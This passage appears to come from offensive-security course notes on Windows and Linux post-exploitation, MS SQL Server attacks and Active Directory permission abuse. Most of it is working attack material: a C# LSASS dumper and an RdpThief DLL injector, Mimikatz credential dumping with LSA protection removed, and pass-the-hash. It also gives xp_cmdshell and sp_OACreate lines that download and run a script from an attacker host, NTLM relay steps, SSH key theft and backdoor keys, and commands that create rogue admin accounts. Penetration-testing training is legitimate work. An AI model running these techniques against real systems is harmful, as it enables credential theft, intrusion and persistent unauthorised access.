- Integrity level (low, medium, high, system)
- Privileges (set of predefined access rights)
Integrity levels prevent privilege escalation: a process at medium integrity cannot modify processes at high/system integrity. Two types of tokens:
- Primary token: Used by default for process creation
- Impersonation token: Allows acting as another user
Privilege States:
- Enabled/Disabled: Current state
- Present/Absent: Token contains privilege
View available privileges:
C:\> whoami /priv
Why: Shows which privileges are available in current token to identify escalation paths.
12.2.2 Elevation with Impersonation
Theory: SeImpersonatePrivilege allows impersonating any token we can get a reference to. The built-in NETWORK SERVICE account and IIS application pools have this privilege by default. Impersonation tokens have four levels: Anonymous, Identification, Impersonation, and Delegation.
Named Pipe Impersonation Attack:
Named pipes use print spooler service to send change notifications. If we create a named pipe the spooler will try to connect, allowing us to impersonate the connecting client (SYSTEM).
Create pipe server (C#):
using System;
using System.Runtime.InteropServices;
namespace PrintSpooferNet
{
class Program
{
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr CreateNamedPipe(string lpName, uint dwOpenMode, uint dwPipeMode,
uint nMaxInstances, uint nOutBufferSize, uint nInBufferSize,
uint nDefaultTimeOut, IntPtr lpSecurityAttributes);
[DllImport("kernel32.dll")]
static extern bool ConnectNamedPipe(IntPtr hNamedPipe, IntPtr lpOverlapped);
[DllImport("advapi32.dll", SetLastError = true)]
static extern bool ImpersonateNamedPipeClient(IntPtr hNamedPipe);
static void Main(string[] args)
{
if (args.Length == 0)
{
Console.WriteLine("Usage: PrintSpooferNet.exe pipename");
return;
}
string pipeName = args[0];
IntPtr hPipe = CreateNamedPipe(pipeName, 3, 0, 10, 0x1000, 0x1000, 0, IntPtr.Zero);
ConnectNamedPipe(hPipe, IntPtr.Zero);
ImpersonateNamedPipeClient(hPipe);
}
}
}
Why: Print spooler validates pipe names and normalizes forward slashes, allowing bypass with paths like \\apprsrv01/test\pipe\spoolss.
Execute payload as impersonated user:
C:\> CreateProcessWithTokenW
Why: Converts impersonation token to primary token for spawning new process in impersonated context.
12.3 Kerberos and Domain Credentials
12.3.1 Kerberos Authentication
Theory: Kerberos uses a Key Distribution Center (KDC) with two components:
- Authentication Server (AS) - validates user credentials
- Ticket Granting Server (TGS) - issues service tickets
Process:
- Client sends AS_REQ with encrypted timestamp (using password hash)
- AS replies with AS_REP containing session key and Ticket Granting Ticket (TGT)
- Client sends TGS_REQ with TGT to request service ticket
- TGS replies with TGS_REP containing service ticket encrypted with service account password
Key points:
- TGT valid for 10 hours by default, can be renewed
- Service tickets encrypted with service account hash
- Tickets contain user info, groups, and timestamps
12.3.2 Mimikatz
Theory: Mimikatz is a post-exploitation tool extracting credentials and tokens from memory. LSASS process caches domain credentials for automatic renewal of Kerberos tickets.
Enable SeDebugPrivilege:
C:\Tools\Mimikatz> mimikatz.exe
mimikatz # privilege::debug
Privilege '20' OK
Why: SeDebugPrivilege allows reading LSASS memory to dump cached credentials.
Dump cached credentials:
mimikatz # sekurlsa::logonpasswords
Why: LSASS caches NTLM hashes and Kerberos tickets in plaintext for automatic TGT renewal.
LSA Protection Bypass:
LSA Protection (Protected Processes Light) prevents SYSTEM from accessing LSASS memory. Load mimidrv driver to bypass:
mimikatz # !+
[+] 'mimidrv' service not present
[+] 'mimidrv' service successfully registered
[+] 'mimidrv' service ACL to everyone
[+] 'mimidrv' service started
mimikatz # !processprotect /process:lsass.exe /remove
Why: mimidrv.sys kernel driver patches memory protections to allow credential dumping.
Dump credentials after disabling protection:
mimikatz # sekurlsa::logonpasswords
WDigest Workaround: Enable WDigest caching (Windows 8.1+):
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest
UseLogonCredential = 1
Why: WDigest stores clear-text passwords in LSASS after logon, enabling easier credential theft.
12.4 Processing Credentials Offline
12.4.1 Memory Dump
Theory: Create memory dump of LSASS process without uploading Mimikatz to target.
Create dump via Task Manager:
- Open Task Manager, locate lsass.exe
- Right-click → "Create dump file"
- File saved to
C:\Users\<user>\AppData\Local\Temp\lsass.DMP
Copy dump and parse locally with Mimikatz:
mimikatz.exe
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords
Why: Avoids running Mimikatz on target, reducing detection risk.
12.4.2 MiniDumpWriteDump
Theory: Create custom C# application using Win32 MiniDumpWriteDump API to dump LSASS without antivirus signatures.
Get LSASS process ID:
Process[] lsass = Process.GetProcessesByName("lsass");
int lsass_pid = lsass[0].Id;
Open LSASS process:
IntPtr handle = OpenProcess(0x001F0FFF, false, lsass_pid);
Create dump file:
FileStream dumpFile = new FileStream("C:\\Windows\\Tasks\\lsass.dmp", FileMode.Create);
bool dumped = MiniDumpWriteDump(handle, lsass_pid, dumpFile.SafeFileHandle.DangerousGetHandle(),
2, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);
Why: Custom implementation avoids Mimikatz signatures while achieving same credential extraction.
Chapter 13: Windows Lateral Movement
13.1 Remote Desktop Protocol
13.1.1 Lateral Movement with RDP
Theory: RDP is a Microsoft protocol for remote administration. NTLM hashes reside in memory for duration of RDP session. Interactive logins cache credentials; remote logins with network logon do not.
Connect with clear-text credentials:
C:\> rdesktop -u "corp1\dave" apprsrv01
Why: When RDP session initiates, NTLM credentials are cached in memory on the target machine.
Dump credentials from RDP session:
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # !processprotect /process:lsass.exe /remove
mimikatz # sekurlsa::logonpasswords
Why: NTLM hash remains in memory even if interactive login. Can dump hashes from any RDP session.
Restricted Admin Mode: Prevents credential caching by not storing credentials in memory
C:\> mstsc.exe /restrictedadmin
Why: Network login avoids storing credentials, mitigating credential theft from RDP.
Pass-the-hash with NTLM:
mimikatz # sekurlsa::pth /user:admin /domain:corp1 /ntlm:2892d26cdf84d7a70e2eb3b9f05c425e /run:mstsc.exe /restrictedadmin
Why: Allows RDP lateral movement using only NTLM hash without clear-text password.
13.1.2 Reverse RDP Proxying with Metasploit
Theory: Use Metasploit's autoroute module to create reverse tunnels through compromised machines protected by firewalls.
Set up autoroute:
msf5 exploit(multi/handler) > use multi/manage/autoroute
msf5 post(multi/manage/autoroute) > set session 1
msf5 post(multi/manage/autoroute) > exploit
Add SOCKS proxy:
msf5 auxiliary(server/socks4a) > set srvhost 127.0.0.1
msf5 auxiliary(server/socks4a) > exploit -j
Configure Proxychains:
sudo bash -c 'echo "socks4 127.0.0.1 1080" >> /etc/proxychains.conf'
Connect via proxy:
proxychains rdesktop 192.168.120.10
Why: Allows RDP access to internal machines through compromised external host without direct network access.
13.1.3 Reverse RDP Proxying with Chisel
Theory: Chisel is a lightweight Go tunneling tool supporting SOCKS proxies over HTTP/SSH.
Install Golang:
sudo apt install golang
Clone and compile Chisel:
git clone https://github.com/jpillora/chisel.git
cd chisel
go build -o chisel.exe -ldflags "-s -w"
Start Chisel server:
./chisel server -p 8080 --socks5
Configure SSH SOCKS proxy:
ssh -N -D 0.0.0.0:1080 localhost
sudo bash -c 'echo "socks4 127.0.0.1 1080" >> /etc/proxychains.conf'
Run Chisel client:
chisel.exe client 192.168.119.120:8080 socks
Connect via tunnel:
sudo proxychains rdesktop 192.168.120.10
Why: Modern alternative to Metasploit with better performance and no staged payload requirements.
13.1.4 RDP as Console
Theory: RDP can be used as a command-line tool via mstscax.dll interfaces without GUI.
Use SharpRDP for command execution:
C:\Tools> SharpRDP.exe computername=apprsrv01 command=notepad username=corp1\dave password=lab
Why: Eliminates need for GUI access, allowing command execution in headless environments.
Spawn reverse shell:
C:\Tools> SharpRDP.exe computername=apprsrv01 command="powershell (New-Object System.Net.WebClient).DownloadFile('http://192.168.119.120/met.exe','C:\Windows\Tasks\met.exe')" username=corp1\dave password=lab
Why: Automates post-exploitation without interactive RDP session.
13.1.5 Stealing Clear Text Credentials from RDP
Theory: API hooking intercepts credential-related Win32 API calls during RDP login to steal clear-text passwords.
Relevant APIs for credential theft:
CredlsMarshaledCredential- NTLM credentialsCrediProtectMemory- Encrypted credentialsSspiPrepareForCredRead- Kerberos credentials
RdpThief uses Detours library to hook these APIs. Inject RdpThief DLL before user logs in:
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Net;
namespace Inject
{
class Program
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize,
uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,
byte[] lpBuffer, uint nSize, out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes,
uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags,
out IntPtr lpThreadId);
static void Main(string[] args)
{
string dllName = "C:\\Tools\\RdpThief.dll";
Process[] mstscProc = Process.GetProcessesByName("mstsc");
int pid = mstscProc[0].Id;
IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);
IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
IntPtr outSize;
WriteProcessMemory(hProcess, addr, System.Text.Encoding.Default.GetBytes(dllName),
(uint)dllName.Length, out outSize);
IntPtr loadLib = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLib, addr, 0, out IntPtr hThread);
}
}
}
Why: Detours hook intercepted APIs at runtime to exfiltrate credentials before encryption.
13.2 Fileless Lateral Movement
13.2.1 Authentication and Execution Theory
Theory: PsExec-style attacks require no file writes by leveraging Service Control Manager (SCM) APIs. Execute code through service binary modification without creating new services.
Use OpenSCManagerW to authenticate:
IntPtr SCMHandle = OpenSCManager(target, null, 0xF003F);
Why: Authenticates to target's Service Control Manager using current thread's access token (no credentials needed if account has access).
Modify service binary with ChangeServiceConfigA:
bool bResult = ChangeServiceConfigA(schService, 0xffffffff, 3, 0, payload, null, null, null, null, null);
Why: Updates SensorService (benign service) binary path to execute payload, avoiding new service creation logs.
Start service with StartServiceA:
bResult = StartServiceA(schService, 0, null);
Why: Executes modified service binary in SYSTEM context without writing files or creating new services.
13.2.2 Implementing Fileless Lateral Movement in C#
P/Invoke for OpenSCManagerW:
[DllImport("advapi32.dll", SetLastError = true)]
public static extern IntPtr OpenSCManager(string lpMachineName, string lpDatabaseName, uint dwDesiredAccess);
P/Invoke for OpenServiceW:
[DllImport("advapi32.dll", SetLastError = true)]
public static extern IntPtr OpenServiceW(IntPtr hSCManager, string lpServiceName, uint dwDesiredAccess);
P/Invoke for ChangeServiceConfigA:
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool ChangeServiceConfigA(IntPtr hService, uint dwServiceType,
uint dwStartType, uint dwErrorControl, string lpBinaryPathName, string lpLoadOrderGroup,
string lpdwTagId, string lpDependencies, string lpServiceStartName, string lpPassword,
string lpDisplayName);
P/Invoke for StartServiceA:
[DllImport("advapi32", SetLastError = true)]
public static extern bool StartServiceA(IntPtr hService, uint dwNumServiceArgs, string[] lpServiceArgVectors);
Proof of concept to execute Notepad:
string target = "apprsrv01";
IntPtr SCMHandle = OpenSCManager(target, null, 0xF003F);
IntPtr schService = OpenServiceW(SCMHandle, "SensorService", 0xF01FF);
string payload = "notepad.exe";
bool bResult = ChangeServiceConfigA(schService, 0xffffffff, 3, 0, payload, null, null,
null, null, null);
bResult = StartServiceA(schService, 0, null);
Why: Avoids file creation, new service registration, and detection while maintaining SYSTEM execution.
Summary of Key Techniques
| Technique | Use Case | Detection Risk |
|---|---|---|
| SAM dump with shadow copy | Extract local hashes | Medium - Shadow copy creation visible |
| LAPS enumeration | Find LAPS password readers | Low - Query operation |
| Named pipe impersonation | Escalate to SYSTEM | Medium - Pipe name normalization suspicious |
| Mimikatz credential dump | Extract domain credentials | High - Process injection obvious |
| RDP with NTLM pass-the-hash | Lateral movement | Medium - Restricted admin mitigates |
| Reverse RDP via Metasploit/Chisel | Bypass firewall restrictions | Low - Blends with network traffic |
| RdpThief API hooking | Steal clear-text RDP password | Low - Runs in mstsc process context |
| Fileless SCM lateral movement | Execute without file writes | Low - Avoids detection of new services |
Chapter 14: Linux Lateral Movement
SSH Keys and Persistence
SSH key-based authentication provides passwordless access to remote systems. Compromised SSH keys enable attackers to move laterally across the network. SSH private keys are stored in ~/.ssh/ and can be used directly or cracked if passphrase-protected. Persistence can be established by adding attacker-controlled public keys to the ~/.ssh/authorized_keys file on target systems.
SSH Key Theft and Cracking
# Copy private keys from target system
scp -r user@target:~/.ssh ~/stolen_ssh_keys
# Crack passphrase on stolen keys with John the Ripper
ssh2john id_rsa > id_rsa.john
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.john
# Use cracked key for authentication
ssh -i cracked_key user@target
Why: Stolen keys with weak passphrases can be cracked offline. This allows lateral movement without exposing credentials on the network.
SSH Persistence - Adding Authorized Keys
# Add attacker public key to authorized_keys for persistent access
echo "attacker_public_key" >> ~/.ssh/authorized_keys
Why: Ensures continued access even if passwords are changed. The attacker can log in with their private key at any time.
SSH Hijacking with ControlMaster
ControlMaster is an SSH feature that allows multiplexing multiple sessions over a single network connection. When enabled, SSH maintains control sockets in ~/.ssh/ that can be reused by subsequent connections. An attacker with file system access can hijack these control sockets to impersonate the legitimate user.
Exploiting ControlMaster
# Check if ControlMaster is enabled in SSH config
cat ~/.ssh/config | grep -i control
# List active control sockets
ls -la ~/.ssh/control_*
# Connect through hijacked control socket
ssh -O check -S ~/.ssh/control_user@host:22 user@host
Why: ControlMaster creates persistent authenticated channels. Hijacking these sockets grants immediate access without needing credentials.
SSH-Agent and Agent Forwarding
SSH-Agent is a keychain service that holds decrypted private keys in memory, eliminating the need to enter passphrases repeatedly. Agent forwarding (ForwardAgent yes) allows a user to forward their agent socket through an SSH connection to an intermediate server, enabling the intermediate server to use the user's keys for onward connections. This is dangerous if the intermediate server is compromised.
SSH-Agent Key Theft
# Identify SSH agent socket
echo $SSH_AUTH_SOCK
# List keys held by the agent
ssh-add -l
# Steal the agent socket from a compromised intermediate server
export SSH_AUTH_SOCK=/tmp/ssh-<pid>/agent.<n>
ssh-add -l
# Use hijacked agent socket to access target systems
ssh -i /path/to/key user@internal_target
Why: Hijacking the agent socket grants access to all keys the forwarded user has loaded. This enables lateral movement through the compromised intermediate server to internal systems.
DevOps Infrastructure
Ansible Overview
Ansible is an infrastructure automation tool that uses YAML playbooks to define configuration management, deployment, and orchestration tasks. Ansible is agentless, using SSH connections to target systems. Compromised Ansible infrastructure can provide lateral movement paths and credential access.
Ansible Enumeration
# Locate Ansible installation and configuration
find / -name "ansible" -o -name "playbooks" -o -name "inventory" 2>/dev/null
# Check common Ansible directories
ls -la /etc/ansible/
ls -la /usr/local/etc/ansible/
# Review inventory files (list of target hosts)
cat /etc/ansible/hosts
cat /etc/ansible/inventory
# List available Ansible modules
ansible-doc -l
Why: Identifying Ansible infrastructure reveals automation targets and configuration management capabilities. Inventory files show all managed systems.
Ansible Ad-hoc Commands
# Execute ad-hoc command on all hosts
ansible all -i inventory.ini -m shell -a 'whoami'
# Execute with specific user
ansible all -i inventory.ini -m command -a 'id' -u root
# Run command with privilege escalation
ansible all -i inventory.ini -m shell -a 'cat /etc/shadow' --become
Why: Ad-hoc commands allow immediate execution of commands across multiple systems. Useful for rapid lateral movement or credential harvesting when Ansible credentials are compromised.
Ansible Playbooks
# Basic playbook structure
---
- hosts: all
tasks:
- name: Execute shell command
shell: whoami
register: result
- name: Display output
debug:
msg: "{{ result.stdout }}"
Why: Playbooks define repeatable automation workflows. Compromised playbooks can be modified to execute malicious code across infrastructure.
Exploiting Playbooks for Credentials
# Search playbooks for hardcoded credentials
grep -r "password\|secret\|api_key\|token" /etc/ansible/
# Check playbook variables file
cat /etc/ansible/group_vars/all.yml
cat /etc/ansible/host_vars/target_host.yml
# Look for Ansible vault encrypted files
find /etc/ansible -name "*.vault"
Why: Playbooks frequently contain credentials for database access, API authentication, and service accounts. These credentials enable lateral movement and privilege escalation.
Weak Permissions and Sensitive Data Leakage
# Check permissions on Ansible configuration
ls -la /etc/ansible/
ls -la /etc/ansible/hosts
# Check for world-readable playbook files
find /etc/ansible -type f -perm -004
# Check home directories of users running Ansible
ls -la ~/.ssh/
cat ~/.ssh/config
Why: Weak file permissions allow unprivileged users to read sensitive Ansible configuration and credential files. This expands the attack surface.
Artifactory Overview
Artifactory is a binary repository manager used for storing and managing build artifacts, libraries, and binaries. Compromised Artifactory instances provide access to deployed code, configuration files, and credentials embedded in artifacts. Default or weak credentials are common in test environments.
Artifactory Enumeration
# Discover Artifactory service
nmap -p 8081 target
curl http://target:8081/artifactory
# Check for default credentials
curl -u admin:password http://target:8081/api/system/ping
# List available repositories
curl http://target:8081/artifactory/api/repositories
Why: Identifying Artifactory instances reveals binary repository access points. Default credentials frequently work on non-hardened installations.
Artifactory Backup Compromise
# Locate Artifactory backup files
find / -name "*artifactory*backup*" 2>/dev/null
# Check Artifactory data directory
ls -la /var/opt/jfrog/artifactory/
# Extract database from backup
tar -xzf artifactory-backup.tar.gz
Why: Artifactory backups contain the complete repository database including all stored artifacts, metadata, and user credentials.
Artifactory Database Compromise
# Access Artifactory database (typically Derby or PostgreSQL)
psql -h localhost -U artifactory -d artifactorydb
# Query for stored credentials
SELECT * FROM credentials;
SELECT * FROM users;
Why: Direct database access reveals all users, permissions, and stored credentials without authentication checks.
Adding Admin Account
# Use Artifactory API to create admin user (if current user has admin rights)
curl -X POST -H "Content-Type: application/json" \
-d '{"name":"attacker","email":"attacker@example.com","password":"password"}' \
http://target:8081/artifactory/api/users
# Update user permissions to admin
curl -X PATCH \
-d '{"admin":true}' \
http://target:8081/artifactory/api/users/attacker
Why: Creating administrative accounts provides persistent authenticated access to the binary repository and all stored artifacts.
Kerberos on Linux
Kerberos on Linux leverages the same Kerberos infrastructure as Windows Active Directory. Linux systems can be kinit (authenticate) to obtain TGTs and use those tickets for authentication to both Linux and Windows services. Compromised Kerberos credentials on Linux enable lateral movement throughout the Active Directory domain.
Stealing Keytab Files
Keytab files contain the plaintext long-term key material for service accounts. They are stored in /etc/krb5.keytab or in user home directories. Compromised keytab files allow impersonation of the associated service account.
# Locate keytab files
find / -name "*.keytab" 2>/dev/null
ls -la /etc/krb5.keytab
# Display keytab contents
klist -k /etc/krb5.keytab
# Extract keys from keytab
kinit -kt /etc/krb5.keytab user@REALM
# Impersonate service account
kinit -kt /path/to/service.keytab service@REALM
Why: Keytab files enable direct Kerberos authentication without needing passwords. Service account keytabs can be used to authenticate to services as the service account.
Credential Cache Files
Kerberos credential caches store TGTs and service tickets after successful authentication. Default cache location is /tmp/krb5cc_<uid>. Compromised credential caches allow reuse of Kerberos tickets without credentials.
# Locate credential cache files
ls -la /tmp/krb5cc_*
env | grep KRB5CCNAME
# Display tickets in cache
klist
# Copy credential cache from compromised user
cp /tmp/krb5cc_1000 /tmp/krb5cc_stolen
# Use stolen credential cache
export KRB5CCNAME=/tmp/krb5cc_stolen
klist
Why: Stolen credential caches allow use of Kerberos tickets for services without needing the original credentials. Useful for lateral movement within the domain.
Using Kerberos with Impacket
Impacket tools support Kerberos authentication on Linux when provided with keytab files or credential caches. This enables lateral movement using compromised Kerberos material.
# psexec with Kerberos authentication
python3 /usr/share/impacket/psexec.py -k -no-pass -dc-ip 192.168.1.100 \
DOMAIN/user@target.domain.com
# smbexec with keytab
python3 /usr/share/impacket/smbexec.py -k -no-pass -keytab /path/to/user.keytab \
DOMAIN/user@target.domain.com
# wmiexec with Kerberos
python3 /usr/share/impacket/wmiexec.py -k -no-pass \
DOMAIN/user@target.domain.com
Why: Impacket tools with Kerberos support enable lateral movement using stolen keytab files or credential caches without exposing credentials on the network.
Chapter 15: Microsoft SQL Server Attacks
MS SQL in Active Directory
Microsoft SQL Server integrates with Active Directory for authentication and authorization. SQL instances are registered with SPNs (Service Principal Names) allowing Kerberos authentication. Attackers can enumerate SQL servers via SPN scanning and exploit misconfigurations in authentication and impersonation.
Enumeration
# SPN scanning for SQL servers
python3 /usr/share/impacket/GetUserSPNs.py -request DOMAIN/user:password -dc-ip 192.168.1.100
# Nmap SQL Server scanning
nmap -p 1433 --script ms-sql-info target
# Query SQL Server for linked servers (if authenticated)
SELECT * FROM master..sysservers;
# Enumerate logins and permissions
SELECT name, type_desc FROM sys.server_principals;
SELECT * FROM sys.syslogins;
Why: SPN scanning identifies SQL servers in the domain. Enumeration of logins and linked servers reveals privilege escalation and lateral movement paths.
Authentication Mechanisms
SQL Server supports multiple authentication modes:
- Windows Authentication (integrated): Uses Active Directory credentials
- SQL Authentication: Native SQL Server username/password
- Mixed mode: Both Windows and SQL authentication enabled
Windows Authentication is preferred in domain environments but more vulnerable to credential theft and delegation attacks. SQL authentication with weak passwords is common in legacy systems.
# Test SQL Server authentication
sqsh -S target -U sa -P password
# Connect with Windows/Kerberos authentication
sqsh -S target -U DOMAIN\\user
# Check SQL Server authentication mode
SELECT SERVERPROPERTY('IsIntegratedSecurityOnly')
Why: Understanding authentication modes reveals which credentials types are valid and where credential storage vulnerabilities exist.
UNC Path Injection and NTLM Relay
UNC paths in SQL queries can be exploited to force NTLM authentication attempts from the SQL Server service account. When the SQL Server initiates authentication to an attacker-controlled SMB server, the NTLM hash can be captured and relayed to other services (NTLM relay attacks).
# UNC path injection in SQL query
xp_cmdshell 'dir \\\\attacker-server\\share'
# Trigger NTLM auth from SQL Server using xp_fileexist
SELECT * FROM master..xp_fileexist '\\\\attacker-server\\share\\file.txt'
# Use responder to capture NTLM hash
responder -I eth0 -v
# Relay captured hash to other services
ntlmrelayx.py -t ldap://dc.domain.com -i
Why: UNC path injection forces the SQL Server service account to authenticate, allowing hash capture and relay to escalate privileges or move laterally.
Relay My Hash (NTLM Relay)
# Set up SMB relay listener
ntlmrelayx.py -t smb://target -c 'whoami'
# Trigger SQL Server to connect to attacker SMB server
xp_cmdshell 'dir \\\\attacker-server\\share'
# Check for successful relay
# Response will contain command output from target
Why: NTLM relay converts captured hashes into authenticated sessions on target systems without needing to crack the hash.
MS SQL Escalation
Privilege Escalation via Impersonation
SQL Server supports the IMPERSONATE permission, allowing users with this privilege to execute commands as another user or service account. Escalation occurs when a high-privilege account (like SA or sysadmin) has impersonation enabled or when delegation chains exist.
-- Check current user
SELECT SYSTEM_USER;
-- List users the current login can impersonate
SELECT * FROM sys.server_principals WHERE type = 'U';
-- Impersonate another user
EXECUTE AS LOGIN = 'DOMAIN\\HighPrivilegeUser';
SELECT SYSTEM_USER;
-- Revert to original user
REVERT;
-- Execute command as impersonated user
EXECUTE AS LOGIN = 'sa'
EXEC xp_cmdshell 'whoami';
REVERT;
Why: Impersonation allows privilege escalation if higher-privilege accounts have this permission enabled. Direct code execution becomes possible as the impersonated account.
Code Execution via xp_cmdshell
xp_cmdshell is an extended stored procedure that executes operating system commands with the privileges of the SQL Server service account. It is disabled by default but can be enabled by administrators.
-- Enable xp_cmdshell (requires sysadmin)
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
-- Execute system command
EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'ipconfig';
EXEC xp_cmdshell 'powershell.exe -Command "Get-Process"';
-- Reverse shell
EXEC xp_cmdshell 'powershell.exe -Command "IEX(New-Object Net.WebClient).DownloadString(''http://attacker/ps.ps1'')"';
Why: xp_cmdshell enables direct operating system command execution as the SQL Server service account, providing complete code execution capabilities.
Code Execution via sp_OACreate
sp_OACreate creates OLE Automation objects, which can instantiate COM objects for executing code outside the SQL Server process. This technique is useful when xp_cmdshell is disabled.
-- Enable sp_OACreate (requires sysadmin)
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE;
-- Create Windows shell object and execute command
DECLARE @obj INT;
EXEC sp_OACreate 'WScript.Shell', @obj OUT;
EXEC sp_OAMethod @obj, 'Run', NULL, 'cmd.exe /c whoami > C:\\temp\\output.txt';
-- Execute PowerShell
DECLARE @obj INT;
EXEC sp_OACreate 'WScript.Shell', @obj OUT;
EXEC sp_OAMethod @obj, 'Run', NULL, 'powershell.exe -Command "IEX(New-Object Net.WebClient).DownloadString(''http://attacker/ps.ps1'')"';
Why: sp_OACreate provides code execution when xp_cmdshell is disabled. Uses COM objects to execute arbitrary code as the SQL Server service account.
Custom Assemblies
SQL Server allows creation of custom assemblies (compiled .NET code) within the database. These assemblies can execute arbitrary code with database and potentially system privileges. Custom assemblies require UNSAFE permission set.
-- Enable CLR support (requires sysadmin)
EXEC sp_configure 'clr enabled', 1;
RECONFIGURE;
-- Create assembly from binary (DLL compiled with malicious code)
CREATE ASSEMBLY [MaliciousAssembly]
FROM 0x4D5A9000... -- Binary content of malicious DLL
-- Create stored procedure from assembly method
CREATE PROCEDURE sp_Exploit
AS EXTERNAL NAME [MaliciousAssembly].[Namespace.ClassName].MethodName;
-- Execute the malicious procedure
EXEC sp_Exploit;
Why: Custom assemblies allow arbitrary .NET code execution within SQL Server. The DLL can perform system-level operations as the SQL Server service account.
Linked SQL Servers
Linked servers allow SQL Server instances to execute queries and stored procedures on remote SQL Server or other database systems. Credentials are stored for each linked server. Compromised credentials or misconfigured trust can enable lateral movement.
Following the Link
Linked servers are configured in the master database and accessible via sp_executesql or direct queries. An attacker with database access can enumerate and use linked servers for lateral movement.
-- Enumerate linked servers
SELECT * FROM master.sys.servers WHERE is_linked = 1;
-- Query remote linked server
SELECT * FROM [LINKED_SERVER].[remote_database].dbo.table_name;
-- Execute stored procedure on linked server
EXEC ('EXEC sp_who') AT [LINKED_SERVER];
-- Run command on linked server via xp_cmdshell
EXEC ('EXEC xp_cmdshell "whoami"') AT [LINKED_SERVER];
Why: Linked servers provide direct access to remote databases. If the linked server stores credentials or uses impersonation, this enables lateral movement to remote systems.
Come Home To Me
A "Come Home To Me" attack chains linked servers in a loop, using intermediate servers to mask the origin of commands. By hopping through multiple linked servers, the attacker's original connection point becomes obscured, hindering forensic analysis and evasion of network monitoring.
-- Establish chain through multiple linked servers
-- Server A -> Server B -> Server C -> Server A (loop)
-- Execute command through chain
EXEC ('EXEC sp_executesql N''EXEC (''''xp_cmdshell ''''whoami'''''') AT [LINKED_SERVER_2]''') AT [LINKED_SERVER_1];
-- Complex chain execution for command execution on multiple systems
EXEC ('
EXEC sp_executesql N''
EXEC (
''''EXEC xp_cmdshell ''''whoami'''''')
AT [LINKED_SERVER_3]
''') AT [LINKED_SERVER_2]';
Why: Chained linked server execution obscures the attack origin and uses compromised servers to pivot through the network. This complicates incident response and forensic analysis.
Summary Table: Key Techniques
| Technique | Target | Result |
|---|---|---|
| SSH Key Theft | Intermediate servers | Direct passwordless access |
| ControlMaster Hijacking | Authenticated SSH sessions | Immediate session reuse |
| Agent Forwarding | SSH-Agent forwarded keys | Access through intermediate to internal systems |
| Ansible Inventory | Automation infrastructure | List of all managed systems |
| Ansible Vault | Encrypted credentials | Plaintext secrets if vault password obtained |
| Artifactory | Binary repository | Artifact access, embedded credentials |
| Keytab Theft | Service accounts | Kerberos authentication without password |
| SQL SPN Scanning | SQL Servers | Discovery and enumeration |
| UNC Path Injection | SQL Server service account | NTLM hash capture and relay |
| SQL Impersonation | sysadmin accounts | Privilege escalation |
| xp_cmdshell | SQL Server process | Operating system command execution |
| Linked Servers | Remote SQL instances | Lateral movement and data access |
Chapter 16: Active Directory Exploitation
AD Object Security Permissions
Object Permission Theory
Active Directory objects are secured using Discretionary Access Control Lists (DACLs) containing Access Control Entries (ACEs). Each ACE specifies what rights a principal has over an object. Permission types include GenericAll (full control), GenericWrite, WriteDACL (modify permissions), WriteProperty (modify specific attributes), and ExtendedRight (extended AD permissions). Security Descriptor Definition Language (SDDL) encodes these permissions. Misconfigurations in permissions create lateral movement and privilege escalation paths.
Enumeration:
# Enumerate ACLs on domain users and groups
Get-ObjectAcl -Identity "domain admins" | Select-Object -ExpandProperty Access
# Get all GenericAll permissions
Get-ObjectAcl -Identity "domain admins" -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -eq "GenericAll"}
# Use BloodHound to visualize permission abuse paths
# Ingest AD data and look for "Has GenericAll" edges toward high-value targets
Why: Understanding who has what permissions on critical AD objects reveals attack chains without requiring credential compromise first.
Abusing GenericAll
GenericAll (full control) on a user object allows an attacker to change their password, add themselves to groups, or modify their attributes without needing current credentials. When a low-privilege user has GenericAll on a Domain Admin, it becomes an instant privilege escalation vector. This is often granted unintentionally through group membership or delegation mistakes.
Exploitation:
# Change password of target user (requires GenericAll)
Set-DomainUserPassword -Identity "target_user" -AccountPassword (ConvertTo-SecureString "NewPassword123!" -AsPlainText -Force)
# Add self to privileged group
Add-DomainGroupMember -Identity "Domain Admins" -Members "attacker_user"
# Add GenericAll permission on Domain Admins for persistence
Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity "attacker_user" -Rights GenericAll
Why: These techniques bypass the need to brute force or crack passwords—you modify the object directly with the permissions you've discovered.
Abusing WriteDACL
WriteDACL permission allows modifying the DACL (permissions) of an object. An attacker with WriteDACL on Domain Admins can grant themselves GenericAll, then abuse it for privilege escalation. This is a two-step privilege escalation: first add permissions, then use those permissions to compromise the object. WriteDACL is often overlooked because it's not immediately exploitable without a second step.
Exploitation:
# Grant yourself GenericAll on Domain Admins using WriteDACL
Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity "attacker_user" -Rights GenericAll
# Now use GenericAll to add yourself to the group or change admin password
Add-DomainGroupMember -Identity "Domain Admins" -Members "attacker_user"
